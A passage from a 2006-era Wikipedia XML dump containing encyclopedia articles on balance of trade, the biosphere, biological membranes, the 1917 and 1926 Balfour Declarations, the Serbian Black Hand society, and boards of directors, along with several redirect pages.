      </contributor>
      <text xml:space="preserve">#REDIRECT [[Arbitrary-precision arithmetic]]</text>
    </revision>
  </page>
  <page>
    <title>Balance of trade</title>
    <id>4810</id>
    <revision>
      <id>41541920</id>
      <timestamp>2006-02-28T01:16:13Z</timestamp>
      <contributor>
        <username>Nirvana2013</username>
        <id>305961</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Balance of trade''' figures, also called '''net exports''' (NX), are the sum of the [[money]] gained by a given [[Economics|economy]] by selling [[export]]s, minus the cost of buying [[import]]s.  They form part of the [[balance of payments]], which also includes other transactions such as the [[international investment position]].  

The figures are usually split into [[Visible balance|visible]] and [[Invisible Balance|invisible]] balance figures. The visible balance represents the physical goods, and invisible represents other forms of trade, e.g. the [[service economy]].

A positive balance of trade is known as a '''trade surplus''' and consists of exporting more (in [[financial capital]] terms) than one imports.  A negative balance of trade is known as a '''trade deficit''' or, informally, as a '''trade gap''', and consists of importing more than one exports.  Neither is  necessarily dangerous in modern economies, although large trade surpluses or trade deficits may sometimes be a sign of other economic problems.

Factors that can affect the balance of trade figures include:
*Prices of goods manufactured at home (influenced by the responsiveness of supply),
*[[Exchange rate]]s, and
*[[trade pact|Trade agreements]] or barriers
*other [[tax, tariff and trade]] measures

Measuring the balance of payments can be problematic, due to problems with recording and collecting data.  As an illustration of this problem, when official data for all countries in the world is added up it appears that the world is running a positive balance of payments with itself.  The total reported amount of exports in the world is greater by a few percent than the total reported amount of imports.  This cannot be true, because all transactions involve an equal [[credit (finance)|credit]] or [[debit]] in the account of each nation.  The discrepancy is widely believed to be explained by transactions intended to launder money or evade taxes, and other visibility problems.

== Economic impact of balance of trade ==

If the balance of trade is positive, then an economy exported more than it had imported. This may appear to be a good thing but may not always be so. An example of an economy in which a positive balance of payments is generally regarded as a bad thing is [[Japan]] in the [[1990s]].  Because Japan had a consistently positive balance of payments, it had more currency than it could effectively invest, and it was reluctant to also offer full access to its own markets.  This led to huge Japanese overseas purchases of items such as real estate, which were of questionable economic value.  Furthermore, the protectionist measures that created the positive balance of trade also caused the price of goods in Japan to be much higher than they would have been had imports been freely allowed. The foreign currency Japanese companies earned overseas remained largely unconverted into yen in order to suppress the yen's value, further preventing Japanese consumers from benefiting from the trade surplus. It is also possible for the terms of trade to be lower than before if there is an improvement in the balance of trade.

Negative balances are not necessarily terrible news, either. By economic definition, a persistent trade deficit can only exist if there is a corresponding capital surplus. Otherwise, the currency would naturally decline until the deficit were eliminated.

Trade imbalance can lead to the loss of jobs, such as the [http://usinfo.state.gov/ei/Archive/2005/Jan/12-31762.html loss of 1.5 million U.S. jobs to China] between 1989 and 2003, though microeconomists point out this has not been a gross job loss.  Other impacts include the cost of [http://www.epinet.org/content.cfm/Issuebrief203 debt servicing], and the increased vulnerability of domestic economies to [http://www.washingtonpost.com/wp-dyn/articles/A46042-2005Apr12.html confidence of foreign holders of debt.]

== Dissenting opinion about trade deficits ==

Microeconomists do not believe that trade deficits are inherently good or bad.  They do believe that trade deficits are generally harmful when countries engage in currency controls such as fixed or pegged exchange rates.  They argue that fixed exchange rates do not allow the market to naturally correct any current account “problems”. 

Milton Friedman believes that much of the fears of trade deficits are unfair criticisms in an attempt to push macroeconomic policies favorable to export industries.  He states that these deficits are not harmful to the country as the currency always comes back to the country of origin in some form or another.  He continues by informing readers that the &quot;worst case scenario&quot; of the currency never returning to the country of origin is actually the best possible outcome; as the country just purchased goods by exchanging pieces of cheaply made paper.  

If these current account &quot;problems&quot; become unstable and unsustainable, Friedman notes that the market will correct any &quot;problems&quot; as floating currency rates will rise or fall with time to encourage or discourage imports in favor of the exports, and then possibly reverse again in favor of imports as the currency gains strength.

Friedman and other microeconomists also point out that a large trade deficit (importation of goods) signals that the currency of this country is strong and desirable.  Citizens of such a country also receive the benefit of having the ability to choose between many competing consumables and lower prices than they would otherwise experience if the currency was weaker and the country was &quot;enjoying&quot; a trade surplus.  To Milton Friedman, a trade deficit simply means that consumers get to purchase and enjoy more goods at lower prices; conversely, a trade surplus implies that a country exported goods that its own citizens did not get to consume and enjoy, while paying high prices for the goods that were consumed.

These trade deficit &quot;problems&quot; were explained in detail by Milton Friedman in Free to Choose, and his simple points re-examined by Dr. Reed.  They can be found here: [http://www.ou.edu/class/econ3003/book/area1c35.html]

== The United States trade deficit ==
The United States has posted a [http://www.census.gov/foreign-trade/statistics/historical/gands.txt  trade deficit since the 1970s], and it has been rapidly increasing since 1997 (see chart below).  The [http://www.census.gov/foreign-trade/statistics/highlights/annual.html 2005 deficit] in goods and services (US$725.8 billion) set a new record. 
[[Image:USTrade1991-2005.gif|thumb|centre|800px]] 
The persistence of the trade deficit has been attributed to a number of factors, including:

* The dollar's role as a [[reserve currency]]
* Continued growth in the US economy
* Continued high demand for American investment assets
* Rising oil prices 
* [[Globalization]]

The trade deficit in the United States has resulted in or represents:

*A decline in American manufacturing and export industries.
*A rise in imported products from countries such as [[China]].
*A fairly strong dollar relative to many other nations.
*A fairly high demand for American capital, including investments and property.

== Physical trade balance ==

'''Monetary''' trade balance is different from physical trade balance (which is expressed in amount of raw materials). Developed countries usually import a lot of primary raw materials from developing countries at low prices. Often, these materials are then converted into finished products, and an enormous amount of value is added. Although the EU (and other developed countries) has a balanced monetary trade balance, its physical trade balance (especially with developing countries) is negative, meaning that in terms of materials a lot more is imported than exported. That means the [[ecological footprint]] of developed countries is much larger than that of developing countries.

==See also==
* [[Balance of payments]]
* [[Balanced trade]]
* [[List of countries and territories by current account balance]]
* [[List of international trade topics]]
* [[Terms of trade]]

==External links==
* [http://www.freetrade.org/pubs/pas/tpa-002.html America's Maligned and Misunderstood Trade Deficit]

[[Category:Macroeconomics]]
[[Category:Economic indicators]]
[[Category:International trade]]
[[category:International economics]]

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  <page>
    <title>Battle of Zarnowiec</title>
    <id>4812</id>
    <revision>
      <id>17776769</id>
      <timestamp>2005-06-28T18:31:37Z</timestamp>
      <contributor>
        <username>Naive cynic</username>
        <id>84472</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Battle of Świecino]]</text>
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  </page>
  <page>
    <title>Bible stories</title>
    <id>4815</id>
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      <id>15903067</id>
      <timestamp>2002-07-06T23:08:07Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>moving to singular title per naming convention</comment>
      <text xml:space="preserve">#REDIRECT [[Bible story]]</text>
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  </page>
  <page>
    <title>Biosphere</title>
    <id>4816</id>
    <revision>
      <id>42080644</id>
      <timestamp>2006-03-03T18:15:45Z</timestamp>
      <contributor>
        <username>Marshman</username>
        <id>16734</id>
      </contributor>
      <comment>We do not edit out non-American spellings of English words</comment>
      <text xml:space="preserve">{{dablink|For the Norwegian musician, see [[Biosphere (band)]]. For the geodesic dome in Montreal, see [[Montreal Biosphère]].}}

The '''biosphere ''' is that part of a [[planet]]'s outer shell&amp;mdash;including [[Earth's atmosphere|air]], [[landform|land]], [[lithosphere|surface rocks]] and [[water]]&amp;mdash;within which [[life]] occurs, and which biotic processes in turn alter or transform. From the broadest [[Geophysiology|geophysiological]] point of view, the biosphere is the global ecological system integrating all living beings and their relationships, including their interaction with the elements of the [[lithosphere]] (rocks), [[hydrosphere]] (water), and [[Earth's atmosphere|atmosphere]] (air). Our planet [[Earth]] is the only place where [[life]] is known to exist. This biosphere is generally thought to have [[evolution|evolved]] beginning, through a process of [[Chardin|biogenesis]] or [[origin of life|biopoesis]], at least some 3.5 billion years ago.

== Origin and use of the term ==
The term &quot;biosphere&quot; was coined by geologist [[Eduard Suess]] in [[1875]]. While this concept has a geological origin, it is an indication of the impact of both [[Charles Darwin|Darwin]] and [[Matthew F. Maury|Maury]] on the [[ earth sciences]]. The biosphere's ecological context comes from the 1920s (''see'' [[Vladimir I. Vernadsky]]), preceding the [[1935]] introduction of the term &quot;'''[[ecosystem]]'''&quot; by Sir [[Arthur Tansley]] (see [[Ecology (history)|ecology history]]). Vernadsky defined [[ecology]] as the science of the biosphere. It is an [[interdisciplinary]] concept for integrating [[astronomy]], [[geophysics]], [[meteorology]], [[biogeography]], [[evolution]], [[geology]], [[geochemistry]], [[hydrology]] and,  generally speaking, all life and earth sciences.

=== Narrow definition ===

Some life scientists and earth scientists use ''biosphere'' in a more limited sense. For example, geochemists define the biosphere as being the total sum of living organisms (the &quot;[[biomass]]&quot; or &quot;[[biota]]&quot; as referred to by biologists and ecologists). In this sense, the biosphere is but one of four separate components of the geochemical model, the other three being ''lithosphere'', ''hydrosphere'', and ''atmosphere''. The narrow meaning used by geochemists is one of the consequences of specialization in modern science. Some might prefer the word '''ecosphere''', coined in the [[1960s]], as all encompassing of both biological and physical components of the planet.

The Second International Conference on Closed Life Systems defined '''biospherics''' as the science and technology of analogs and [[model (abstract)|model]]s of [[Earth]]'s biosphere; i.e., artificial Earth-like biospheres. Others may include the creation of artificial non-Earth biospheres&amp;mdash;for example, human-centered biospheres or a native [[Mars (planet)|Martian]] biosphere&amp;mdash;in the field of biospherics.

=== Gaia's biosphere ===
The concept that the biosphere is itself a living organism, either actually or metaphorically, is known as [[Gaia theory (science)|Gaia theory]].

== Extent of the earth's biosphere ==

Some theorists have postulated that the Earth is poorly suited to life, although nearly every part of the planet, from the [[polar region|polar]] ice caps to the [[Equator]], supports life of some kind. Indeed, recent advances in [[microbiology]] have demonstrated that microbes live deep beneath the Earth's terrestrial surface, and that the total mass of microbial life in so-called &quot;uninhabitable zones&quot; may, in biomass, exceed all animal and plant life on the surface. 
The actual thickness of the biosphere on earth is hard to measure. Birds typically fly at altitudes of 650 to 2000 meters, and fish that live deep underwater can be found down to -8,372 meters  in the [[Puerto Rico Trench]]. 

There are more extreme examples for life on the planet: [[Ruppell's Vulture]] has been found at altitudes of 11,300 meters; [[Bar-headed Goose|Bar-headed Geese]] migrate at altitudes of at least 8,300 meters (over [[Mount Everest]]); Yaks live at elevations between 3,200 to 5,400 meters above sea level; mountain goats live up to 3,050 meters. Herbivorous animals at these elevations depend on lichens, grasses, and herbs but the biggest tree is the Tine palm or mountain coconut found 3,400 meters above sea level.  

Microscopic organisms (e.g., bacteria) live at such extremes that, taking them into consideration puts the thickness of the biosphere much greater, but at minimum it extends from 5,400 meters above sea level to at least 9,000 meters below sea level.

== Biosphere 1, Biosphere 2, Biosphere 3 ==

When the word ''Biosphere'' is followed by a number, it is usually referring to a specific system. Thus:
#Biosphere 1 - The planet [[Earth]].
#[[Biosphere 2]] - A laboratory in Arizona which contains 3.15 acres (13,000 m&amp;sup2;) of closed ecosystem.
#[[BIOS-3|Biosphere 3]] - Experiment conducted by Russians in 1967-8. [http://www.permanent.com/s-bios3.htm][http://www.biospherics.org/russia.html][http://www.biospheres.com/hisbios3fax.html]
---
''See also:'' [[biome]], [[cryosphere]], [[Biosphere Reserve]], [[noosphere]], [[geosphere]], [[eco-evolution]], [[homeostasis]], [[life support system]]

===Biosphere 1===

Our biosphere is divided into a number of [[biome]]s, inhabited by broadly similar [[flora (plants)|flora]] and [[fauna (animals)|fauna]]. On land, biomes are separated primarily by [[latitude]].  Terrestrial biomes lying within the [[Arctic Circle|Arctic]] and [[Antarctic Circle]]s are relatively barren of [[plant]] and [[animal]] life, while most of the more populus biomes lie near the [[Equator]]. Terrestrial organisms in temperate and arctic biomes have relatively small amounts of total biomass, smaller energy budgets, and display prominent adaptations to cold, including world-spanning migrations, social adaptations, [[homeothermy]], [[estivation]] and multiple layers of insulation. 

For important major components of Earth's biosphere, see: [[Ocean]]; [[Forest]]; [[Desert]]; [[Steppe]]; [[Lake]]; [[River]].

== External links ==
*[http://www.globio.info GLOBIO], an ongoing programme to map the past, current and future impacts of human activities on the biosphere

[[Category:Ecology]]
[[Category:Futurology|Biosphere]]
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[[Category:Sustainability|Biosphre]]

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  </page>
  <page>
    <title>Biological membrane</title>
    <id>4817</id>
    <revision>
      <id>33588028</id>
      <timestamp>2006-01-02T11:38:57Z</timestamp>
      <contributor>
        <username>Karol Langner</username>
        <id>60759</id>
      </contributor>
      <comment>cat update &amp; fmt</comment>
      <text xml:space="preserve">A '''biological membrane''' or '''biomembrane''' is a [[membrane]] which acts as a barrier within or around a [[cell (biology)|cell]].  It is, almost invariably, a [[lipid bilayer]] (except for [[Archaea]] which have [[isoprene]] membranes), being composed of a double layer of [[lipid]]-class [[molecules]], specifically [[phospholipid]]s, with occasional [[integral membrane protein|proteins]] intertwined, some of which function as [[ion channel|channels]].

Such [[membrane]]s typically define enclosed spaces or [[compartment]]s in which cells may maintain a [[chemistry|chemical]] or [[biochemistry|biochemical]] [[natural environment|environment]] that differs from the outside.  For example, the membrane around [[peroxisome]]s shields the rest of the cell from [[peroxide]]s, and the [[plasma membrane]] separates a cell from its surrounding medium.  Most [[organelle]]s are defined by such membranes, and are called '''membrane-bound''' organelles.

Probably the most important feature of a biomembrane is that it is a [[selectively permeable]] structure. This means that the size, [[charge]] and other [[chemical properties]] of the [[atoms]] and molecules attempting to cross it will determine whether they succeed to do so. Selective permeability is essential for effective separation of a cell or organelle from its surroundings.

If a particle is too large or otherwise unable to cross the membrane by itself, but is still needed by a cell, it could either go through one of the protein channels, or be taken in by means of [[endocytosis]].

== Types of biological membranes ==

* [[Cell membrane]]
* [[Mucous membrane]]
* [[S-layer]]

==Structure==

==Composition==
&lt;p&gt;The three major classes of membrane lipids are [[phospholipid]]s, [[glycolipid]]s, and [[cholesterol]].&lt;/p&gt;&lt;br /&gt;

[[Image:membrane_lipids.png|thumb|center|579px|'''The major membrane lipids'''&lt;br /&gt;'''PtdCho''' - Phosphatidylcholine; '''PtdEtn''' - Phosphatidylethanolamine; '''PtdIns''' - Phosphatidylinositol; '''PtdSer''' - Phosphatidylserine.]]

&lt;br /&gt;&lt;p&gt;Phospholipids and glycolipids consist of two long, nonpolar (hydrophobic) hydrocarbon chains linked to a hydrophilic head group. In the phospholipids the head consist of &lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;phosphorylated&lt;/span&gt; either:
:*&lt;span style=&quot;color: green; font-weight: bold;&quot;&gt;Glycerol&lt;/span&gt; (and hence the name '''phosphoglycerides''' given to this group of lipids).
:*&lt;span style=&quot;color: CornflowerBlue; font-weight: bold;&quot;&gt;Sphingosine&lt;/span&gt; (with only one member - [[sphingomyelin]]).
&lt;/p&gt;&lt;br /&gt;

&lt;p&gt;In the glycolipids the head contains of sphingosine with &lt;span style=&quot;color: Goldenrod; font-weight: bold;&quot;&gt;one or several sugar units&lt;/span&gt; attached to it. The hydrophobic chains belong either to:
:*two [[fatty acid|FA]]s - in the case of the phosphoglycerides.
:*one FA and the hydrocarbon tail of [[sphingosine]] - in the case of sphingomyelin and the glycolipids.
&lt;/p&gt;&lt;br /&gt;

&lt;p&gt;The FAs in phospho- and glycolipids usually contain an even number of carbon atoms, typically between 14 and 24. The 16- and 18-carbon FAs are the most common ones. FAs may be saturated or unsaturated, with the configuration of the double bonds nearly always ''cis''. The length and the degree of unsaturation of FAs chains have a profound effect on membranes fluidity.&lt;/p&gt;&lt;br /&gt;

&lt;p&gt;In phosphoglycerides, the hydroxyl groups at C-1 and C-2 of glycerol are esterified to the carboxyl groups of the FAs. The C-3 hydroxyl group is esterified to phosphoric acid. The resulting compound, called [[phosphatidate]], is the simplest phosphoglycerate. Only small amounts of phosphatidate are present in membranes. However, it is a key intermediate in the biosynthesis of the other phosphoglycerides.&lt;/p&gt;&lt;br /&gt;

&lt;p&gt;Sphingosine is an amino alcohol that contains long, unsaturates hydrocarbon chain. In sphingomyelin and glycolipids, the amino group of sphingosine is linked to a FAs by an amid bond. In sphingomyelin the primary hydroxyl group of sphingosine is esterified to phosphoryl [[choline]]. In glycolipids, the sugar component is attached to this group. The simplest glycolipid is [[cerebroside]], in which there is only one sugar residue, either [[glucose|Glc]] or [[galactose|Gal]]. More complex glycolipids, such as [[ganglioside]]s, contain a branched chain of as many as seven sugar residues.&lt;/p&gt;

== See also ==

* [[Membrane protein]]

[[Category:Membrane biology| ]]
[[Category:Biological matter|membrane]]

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  </page>
  <page>
    <title>Balfour Declaration (1926)</title>
    <id>4818</id>
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      <id>31390526</id>
      <timestamp>2005-12-14T23:03:31Z</timestamp>
      <contributor>
        <username>SaraVon</username>
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      <minor />
      <text xml:space="preserve">#REDIRECT [[Balfour Declaration 1926]]</text>
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  <page>
    <title>Balfour Declaration 1926</title>
    <id>4819</id>
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      <id>40107938</id>
      <timestamp>2006-02-18T04:41:19Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
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      <minor />
      <comment>[[Category:1926 in law]]</comment>
      <text xml:space="preserve">The '''Balfour Declaration of 1926''' is a report of the October-November [[1926]] [[Imperial Conferences|Imperial Conference]] of [[British Empire]] leaders in [[London]]. It states that the [[United Kingdom]] and the [[Dominions]] &quot;are autonomous Communities within the [[British Empire]], equal in status, in no way subordinate one to another in any aspect of their domestic or external affairs, though united by a common allegiance to the Crown, and freely associated as members of the [[Commonwealth of Nations|British Commonwealth]]&quot;. It was first introduced by Canada's [[Prime Minister of Canada|Prime Minister]] at that time, [[William Lyon Mackenzie King]].

The report should not be confused with the [[Balfour Declaration, 1917|Balfour Declaration of 1917]] by which the British foreign minister favoured a [[Jew]]ish national home in [[Palestine (region)|Palestine]]. It is named, like the earlier document, after the Earl of Balfour ([[Arthur James Balfour]], 1848-1930), [[Lord President of the Council]] in the British government and chairman of the Conference's inter-Imperial relations committee. The committee drew up the document preparatory to its approval by the Imperial premiers at their sitting of November 15. 

The Declaration accepted the growing political and diplomatic independence shown particularly by [[Canada]] since [[World War I]].  It also recommended that the [[Governor-General]], the representative of the King, who acted for the crown as head of state in each Dominion, should no longer serve automatically also as the representative of the British government in diplomatic relations between the two countries.  In following years [[High Commissioner]]s were gradually appointed, whose duties were soon recognised to be virtually identical to those of an [[ambassador]]. The first such British High Commissioner was appointed to [[Ottawa]] in [[1928]].

The conclusions of the Conference were re-stated by that of 1930 and incorporated in the December [[1931]] [[Statute of Westminster 1931|Statute of Westminster]] by which [[Parliament]] renounced any legislative authority over Dominion affairs except as specifically provided in Dominion law.
[[Category:Commonwealth realms]]
[[Category:British Empire]]
[[Category:Commonwealth of Nations]]
[[Category:History of Canada]]
[[Category:History of Ireland]]
[[Category:1926 in law]]
[[id:Deklarasi Balfour 1926]]</text>
    </revision>
  </page>
  <page>
    <title>Balfour Declaration, 1917</title>
    <id>4820</id>
    <revision>
      <id>41703825</id>
      <timestamp>2006-03-01T04:14:46Z</timestamp>
      <contributor>
        <ip>160.39.226.116</ip>
      </contributor>
      <comment>/* Negotiation */ continuity</comment>
      <text xml:space="preserve">The '''Balfour Declaration''' was a [[letter]] dated [[November 2]], [[1917]] from [[United Kingdom of Great Britain and Ireland|British]] [[Secretary of State for Foreign Affairs|Foreign Secretary]] [[Arthur James Balfour]], to [[Walter Rothschild, 2nd Baron Rothschild|Lord Rothschild (Walter Rothschild, 2nd Baron Rothschild)]], a leader of the [[UK|British]] [[Jew|Jewish]] [[community]], for transmission to the [[Zionist Federation]], a private [[Zionist]] [[organization]]. The letter stated the position, agreed to at a [[British Cabinet]] meeting on [[October 31]] [[1917]], that the [[UK|British]] [[government]] supported [[Zionism|Zionist]] plans for a [[Jew]]ish &quot;national home&quot; in [[Palestine (region)|Palestine]], with the condition that nothing should be done which might prejudice the [[rights]] of existing communities there. 

At the time, most of the area of Palestine was still under the control of the [[Ottoman Empire]], and the borders of what would become Palestine had been outlined as part of the [[May 16]] [[1916]] [[Sykes-Picot Agreement]] between Britain and [[France]]. 

Language from the Declaration was later incorporated into the [[Treaty of Sèvres|Sèvres peace treaty]] with [[Turkey]] and the [[British Mandate of Palestine|Mandate for Palestine]].

==Text of the declaration==
The declaration, a typed letter signed in ink by Balfour, reads as follows:

&lt;blockquote style=&quot;align: center; background-color: #f0f0f0;&quot;&gt;
[[Foreign Office]]&lt;br&gt;
November&amp;nbsp;2nd, 1917&lt;br&gt;
&lt;br&gt;
Dear [[Walter Rothschild, 2nd Baron Rothschild|Lord Rothschild]],&lt;br&gt;
&lt;br&gt;
I have much pleasure in conveying to you, on behalf of His Majesty's Government, the following declaration of sympathy with Jewish Zionist aspirations which has been submitted to, and approved by, the Cabinet.&lt;br&gt;
&lt;br&gt;
&quot;His Majesty's Government view with favour the establishment in Palestine of a national home for the Jewish people, and will use their best endeavours to facilitate the achievement of this object, it being clearly understood that nothing shall be done which may prejudice the civil and religious rights of existing non-Jewish communities in Palestine, or the rights and political status enjoyed by Jews in any other country.&quot;&lt;br&gt;
&lt;br&gt;
I should be grateful if you would bring this declaration to the knowledge of the Zionist Federation.&lt;br&gt;
&lt;br&gt;
Yours sincerely,
[[Arthur Balfour|Arthur James Balfour]]&lt;br&gt;
&lt;/blockquote&gt;
{{Israelis}}

==Development and differing views==
The record of discussions that led up to the final text of the Balfour Declaration clarifies some details of its wording. The phrase &quot;national home&quot; was intentionally used instead of &quot;state&quot;, and the British devoted some effort over the following decades to denying that a state was the intention, including the [[Churchill White Paper, 1922]]. However, in private, many British officials agreed with the interpretation of the Zionists that a state would be the eventual outcome.

An early draft used the word ''that'' in referring to Palestine as a Jewish homeland, which was changed to ''in'' Palestine to avoid committing to it being the whole of Palestine. Similarly, an early draft did not include the commitment to not prejudicing the rights of the non-Jewish communities. These changes came about partly as the result of the urgings of [[Edwin Samuel Montagu]], an influential anti-Zionist Jew and [[Secretary of State for India]], who, among others, was concerned that the declaration without those changes could result in increased anti-Semitic persecution.

Like the preceding [[Sykes-Picot Agreement]], the declaration is viewed by many Arabs as a gross betrayal of Britain's undertakings to support Arab independence in the [[Hussein-McMahon Correspondence]] of [[1915]]&amp;ndash;[[1916]].

==Negotiation==
One of the main Jewish figures who negotiated the granting of the declaration was Dr. [[Chaim Weizmann]], the leading spokesman for organized Zionism in Britain. During the first meeting between Chaim Weizmann and Balfour, in [[1906]], the Unionist leader was impressed by Weizman's personality. Balfour asked Weizmann why Palestine&amp;mdash;and Palestine alone&amp;mdash;could be the basis for Zionism. &quot;Anything else would be idolatry&quot;, Weizmann protested, adding: &quot;Mr. Balfour, supposing I were to offer you Paris instead of London, would you take it?&quot; &quot;But Dr. Weizmann&quot;, Balfour retorted, &quot;we have London&quot;, to which Weizmann rejoined, &quot;That is true, but we had Jerusalem when London was a marsh.&quot;{{ref|dugdale_326}}

Weizmann was a chemist who managed to synthesize [[acetone]] via [[fermentation]]. Acetone is needed in the production of [[cordite]], a powerful propellant explosive needed to fire ammunition without generating tell-tale smoke. Germany had cornered supplies of a major source of acetone, [[calcium acetate]] and other pre-war processes in Britain were inadequate to meet the increased demand in the [[Great War]].  A shortage of cordite would have severely hampered Britain's war effort.  The Minister for Munitions [[David Lloyd-George]], who became Prime Minister shortly after, was grateful to Weizmann and also supported him. Balfour asked what payment he would in return for the use of his process, Weizmann responded, &quot;There is only one thing I want. A national home for my people.&quot; &lt;!-- what is the source of this story?? It is not reported in Dugdale--&gt;He eventually received both payment for his discovery and a role in the history of the origins of the state of Israel.

It has been reported that Balfour's sympathy with the plight of the Israelis was influenced by an illicit relationship with the wife of a high-ranking Jewish official.{{ref|macmillan}}

==Contradictory assurances==
In his  November, 2002 interview with the ''New Statesman'' magazine[http://news.bbc.co.uk/2/hi/europe/2481371.stm], the [[UK Foreign Secretary]], [[Jack Straw (politician)|Jack Straw]], has blamed Britain's imperial past for many of the modern political problems, including the [[Arab-Israeli conflict]]. 

&quot;The Balfour declaration and the contradictory assurances which were being given to Palestinians in private at the same time as they were being given to the Israelis&amp;mdash;again, an interesting history for us, but not an honourable one,&quot; he said.

==Footnotes==
# {{note|dugdale_326}} B. Dugdale (1939): ''&quot;Arthur James Balfour&quot;'', Vol I, p. 326 &amp; 327
# {{note|macmillan}} Margaret MacMillan ''&quot;Paris 1919 : Six Months That Changed the World&quot;''

==See also==
*[[1922 Text: League of Nations Palestine Mandate]]
*[[1947 UN Partition Plan]]
*[[Declaration of the Establishment of the State of Israel]], [[May 14]] [[1948]]
*[[Madagascar Plan]]
*[[British Uganda Program]]

==External links==
* [http://www.zionism-israel.com/Balfour_Declaration_1917.htm The Balfour Declaration - Background and history of the declaration] 
* [http://www.yale.edu/lawweb/avalon/mideast/brwh1922.htm text of the 1922 White Paper] from the Avalon Project
* Donald Macintyre, The Independent, [[26 May]] [[2005]], [http://news.independent.co.uk/world/middle_east/story.jsp?story=641434 &quot;The birth of modern Israel: A scrap of paper that changed history&quot;]

&lt;!-- The text which was here is now a comment in the Churchill White Paper entry. --&gt;

[[Category:1917]]
[[Category:Arab-Israeli conflict]]
[[Category:Israel and Zionism]]
[[Category:Jews in Ottoman and British Palestine]]

[[ca:Declaració Balfour]]
[[de:Balfour-Deklaration]]
[[fr:Déclaration Balfour]]
[[he:הצהרת בלפור]]
[[id:Deklarasi Balfour 1917]]
[[ja:バルフォア宣言]]
[[nl:Balfour-declaratie]]
[[no:Balfourerklæringen]]
[[pl:Deklaracja Balfoura]]
[[pt:Declaração de Balfour]]
[[sv:Balfourdeklarationen]]</text>
    </revision>
  </page>
  <page>
    <title>Black Hand</title>
    <id>4821</id>
    <revision>
      <id>41998609</id>
      <timestamp>2006-03-03T03:13:21Z</timestamp>
      <contributor>
        <username>Tom harrison</username>
        <id>42168</id>
      </contributor>
      <comment>cat Category:Secret societies</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Crnaruka.jpg|right|thumb|250px|Members of the Black Hand]]
'''Black Hand''', or '''Crna ruka''' ('''Црна рука'''), officially '''Ujedinjenje ili Smrt''' ('''Уједињење или смрт''') (&quot;'''Unification or Death'''&quot;) was a secret association founded in [[Serbia]] in May [[1911]] as part of the pan-[[Serbs|Serbian]] [[nationalism|nationalist]] movement, with the intention of uniting all of the territories containing Serb populations (notably [[Bosnia and Herzegovina]], annexed by [[Austria-Hungary]] in October [[1908]]). The society's implication in the June [[1914]] [[assassination in Sarajevo]] of [[Franz Ferdinand, Archduke of Austria]] helped ignite [[World War I]].

The group encompassed a range of ideological outlooks, from conspiratorially-minded army officers to idealistic youths, sometimes tending towards republicanism, despite the acquiescence of nationalistic royal circles in its activities (the movement's leader, Col. [[Dragutin Dimitrijević]] or &quot;Apis&quot;, had been instrumental in the June [[1903]] coup which had brought King [[Peter I of Serbia|Petar Karađorđević]] to the [[List of Serbian monarchs|Serbian throne]] following 45 years of rule by the rival [[Obrenovic|Obrenović]] dynasty).  The group was denounced as [[Nihilist]] by the Austro-hungarian press and compared to the Russian [[People's Will]] and the [[Chinese Assassination Corps]] which, like the Black Hand, used [[assassination]] to achieve anti-imperialist political goals.

Just prior to World War I, the Black Hand supplied weapons and assistance to fifteen people in a plot to assassinate the Austrian archduke [[Franz Ferdinand, Archduke of Austria|Franz Ferdinand]] while he was visiting [[Bosnia and Herzegovina|Bosnia]]. Only three of the assassins actually made an attempt, and only one, a 19-year-old named [[Gavrilo Princip]] succeeded in killing him.  The refusal of Serbia to turn over the Archduke's assassins resulted in Austria-Hungary's declaration of war, effectively starting WWI. Three assassins were later imprisoned and one was hanged for the deed. 

In May [[1917]] Dimitrijević was tried on charges of plotting against the royal government, then exiled in [[Thessaloniki]], Greece following Serbia's occupation by Austro-Hungarian, German, and Bulgarian forces in late [[1915]]. His subsequent execution signaled the Black Hand's eclipse by the monarchist [[White Hand]], which was to dominate the political outlook of military leaders in the inter-war [[Kingdom of Yugoslavia|Yugoslav kingdom]].



[[Category:Serbian history]]
[[Category:Secret societies]]

[[cs:Černá ruka]]
[[de:Schwarze Hand]]
[[lv:Melnā Roka]]
[[nl:Zwarte Hand (Bosnië)]]
[[ja:黒手組]]
[[pl:Czarna Ręka]]
[[simple:Black Hand]]
[[sk:Čierna ruka]]
[[sr:Црна рука]]
[[sv:Svarta handen]]</text>
    </revision>
  </page>
  <page>
    <title>Board of directors</title>
    <id>4822</id>
    <revision>
      <id>42081323</id>
      <timestamp>2006-03-03T18:22:31Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <comment>{{cleanup-date|March 2006}}</comment>
      <text xml:space="preserve">{{mergefrom|Board of Trustees}}
{{cleanup-date|March 2006}}

&lt;!-- {{dablink|&quot;Chairman of the Board&quot; redirects here. For other uses, see [[Chairman of the Board (disambiguation)]].}} --&gt;

A '''board of directors''', also called '''board of trustees''', '''board of governors''', '''board of managers''', or '''board of curators''', is a group of people who oversee the affairs of a [[corporation]]. One member of the group may be designated or elected to serve as [[chairperson]] and is referred to as the '''chairman of the board'''.

==Duties and powers==
Board members in most legal jurisdictions have specific [[fiduciary]] duties whereby they must act for the benefit of the corporation.  A board is either self-perpetuating or elected by the members of the corporation.  In the case of an incorporated [[joint-stock company]], the board is almost always elected by the owners ([[shareholders]]) of the company.  Individuals can be [[List of people on multiple governing boards|members of the board of directors of multiple corporations]] at one time. In case of non-profit organizations, the board of trustees is most commonly appointed by the members of the organization.

The main duties of the board are to choose the [[chief executive officer]] and other officers to run the day-to-day operations of the corporation and to exercise high-level oversight.  Typically corporate boards are involved in issues of [[ownership]], [[strategy]], [[financing]], and [[mergers and acquisitions]].

The actual power held by the board of directors varies widely from corporation to corporation.  In some, the board of directors form a powerful body to which senior management is subservient.  Other times, the board is a formality which merely [[Rubberstamp (politics)|rubber stamps]] decisions of the [[CEO]] and senior management.

Often the CEO serves concurrently as the chairman of the board.  Some contend that this is inappropriate in a publicly-traded joint-stock company because it gives management too much power over the board, diminishing its oversight powers.

Larger boards are partitioned into several [[committee]]s with specific tasks. For example, a [[Executive compensation|compensation]] committee is commonly formed to make decisions regarding salary and stock allocations for top management (and sometimes for the entire employee pool). Others might include an audit committee, a legal affairs committee, and a [[mergers and acquisitions]] committee.

A board will often consist of executive and non-executive directors. Executive directors play an active part in running the company, while non-executive directors are only there to offer advice.

